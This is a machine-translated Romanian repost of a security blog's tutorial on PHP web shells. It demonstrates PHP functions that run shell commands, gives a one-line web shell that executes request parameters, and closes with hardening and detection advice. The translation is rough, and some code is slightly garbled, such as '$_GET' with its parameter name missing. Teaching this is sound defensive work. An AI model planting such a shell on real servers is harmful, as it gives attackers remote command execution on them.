Dubitinsider

for your information

în partea 1 a acestei serii, am analizat ce este un shell web și de ce un atacator ar căuta să folosească unul. În partea 2 a acestei serii, vom analiza câteva exemple specifice de shell – uri web dezvoltate folosind limbajul de programare PHP.

shell-urile Web există pentru aproape fiecare limbaj de programare web la care vă puteți gândi. Am ales să ne concentrăm pe PHP, deoarece este cel mai utilizat limbaj de programare de pe web.shell-urile web PHP nu fac altceva decât să utilizeze funcții PHP încorporate pentru a executa comenzi. Următoarele sunt unele dintre cele mai comune funcții utilizate pentru a executa comenzi shell în PHP.

Notă: În sensul acestui articol, am editat fișierul hosts și am indicat domeniul www.example.com la un server de testare.

system ()

funcția system() acceptă comanda ca parametru și emite rezultatul.

următorul exemplu pe o mașină Microsoft Windows va ruladir comanda pentru a returna o listă de directoare a directorului în care este executat fișierul PHP.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

executarea comenziils pe o mașină Linux obține un rezultat similar.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

alte comenzi au același efect.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec ()

exec() funcția acceptă o comandă ca parametru, dar nu afișează rezultatul. Dacă este specificat un al doilea parametru opțional, rezultatul va fi returnat ca o matrice. În caz contrar, numai ultima linie a rezultatului va fi afișată dacă se repetă.

<?php// Executes but returns nothingexec("ls -la");?>-->

folosindecho cuexec() funcția va imprima doar ultima linie a ieșirii comenzii.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

dacă este specificat un al doilea parametru, rezultatul este returnat într-o matrice.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec ()

shell_exec() funcția este similară cu exec(), cu toate acestea, emite întregul rezultat ca un șir.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru ()

passthru() funcția execută o comandă și returnează ieșirea în format raw.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open ()

funcțiaproc_open() poate fi dificil de înțeles (puteți găsi o descriere detaliată a funcției în documentele PHP). Folosind proc_open(), putem crea un handler (proces) care va fi folosit pentru comunicarea dintre scriptul nostru și programul pe care dorim să îl rulăm.

Backsticks

surprinzător, nu mulți dezvoltatori PHP sunt conștienți de acest lucru, dar PHP va executa conținutul backsticks (`) ca o comandă shell.

notă: caracterul backtick (`) nu trebuie confundat cu caracterul citat unic (‘)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

pe baza celor de mai sus, următorul este un shell web PHP în forma sa cea mai simplă.

<?php system($_GET);?>

acesta utilizează funcția system() pentru a executa comenzi care sunt trecute prin parametrul ” cmd ” HTTP request GET.

web shells image 2

am stabilit că aceste funcții (și alte câteva) pot fi foarte periculoase. Ceea ce este și mai periculos este că toate aceste comenzi PHP încorporate sunt activate în mod implicit atunci când PHP este instalat și majoritatea administratorilor de sistem nu le dezactivează.

dacă nu sunteți sigur dacă acestea sunt activate în sistemul dvs., următoarele vor returna o listă a funcțiilor periculoase care sunt activate.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

într-o instalare implicită, putem vedea că toate funcțiile menționate mai sus sunt activate.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Partea 1

O Introducere în shell-urile Web

Partea 2

Shell-urile Web 101 folosind PHP

Partea 3

păstrarea Shell-urilor Web sub acoperire

partea 4

web shell-uri în acțiune

partea 5

detectare & prevenire

Întrebări frecvente

un shell web este o aplicație mică pe care un atacator o rulează pe serverul dvs. web. Ei pot folosi apoi această aplicație pentru a accesa de la distanță serverul dvs. și a rula comenzi pe ea. Un shell web de la sine nu este niciodată un atac, este urmarea unui atac de succes pe site-ul sau aplicația web. Aceasta înseamnă că, dacă aveți un shell web, aveți o problemă mult mai gravă de care să vă faceți griji.

vedeți cum funcționează un shell web în practică.

hackerii rău intenționați folosesc shell-uri web pentru a prelua controlul asupra unui server deja compromis. În primul rând, exploatează o vulnerabilitate în site-ul dvs. web sau în aplicația web, cum ar fi injecția SQL, executarea codului la distanță sau altele. Apoi, încarcă un shell web pe serverul dvs. web. De acum înainte, pot rula orice comenzi care le plac pe serverul dvs.

vedeți un exemplu pas cu pas al unui atac care duce la compromiterea completă a serverului.

puteți detecta shell-urile web prin analiza jurnalului. Cu toate acestea, nu ar trebui să vă concentrați pe detectarea Shell-urilor web, ci, în schimb, ar trebui să detectați vulnerabilități care pot permite atacatorilor să preia controlul serverului dvs. Chiar dacă detectați un shell web, acest lucru nu va împiedica atacatorii să preia din nou controlul dacă vulnerabilitățile sunt încă acolo. Pentru a detecta vulnerabilitățile web și a învăța cum să le eliminați, utilizați Acunetix.

vezi ce Acunetix Premium poate face pentru tine.

cel mai bun mod de a vă proteja împotriva Shell-urilor web este de a face imposibilă utilizarea lor pe sistemul dvs. Puteți face acest lucru prin întărirea serverului – eliminarea tuturor permisiunilor excesive, blocarea funcțiilor potențial periculoase, restricționarea executării scriptului în directoarele de încărcare etc. Cu toate acestea, cel mai bine este să protejați serverul de a fi compromis în primul rând prin utilizarea regulată a Acunetix.

citiți mai multe despre detectarea și protecția shell-ului web.

Obțineți cel mai recent conținut despre securitatea web
în căsuța de e-mail în fiecare săptămână.

partajați acest POST

autorul
agathoklis Prodromou
web systems administrator/developer

Akis a lucrat în sfera IT de mai bine de 13 ani, dezvoltându-și abilitățile dintr-o perspectivă defensivă ca administrator de sistem și dezvoltator web, dar și dintr-o perspectivă ofensivă ca tester de penetrare. Deține diverse certificări profesionale legate de hacking etic, criminalistică digitală și răspuns la incidente.

Lasă un răspuns

Adresa ta de email nu va fi publicată.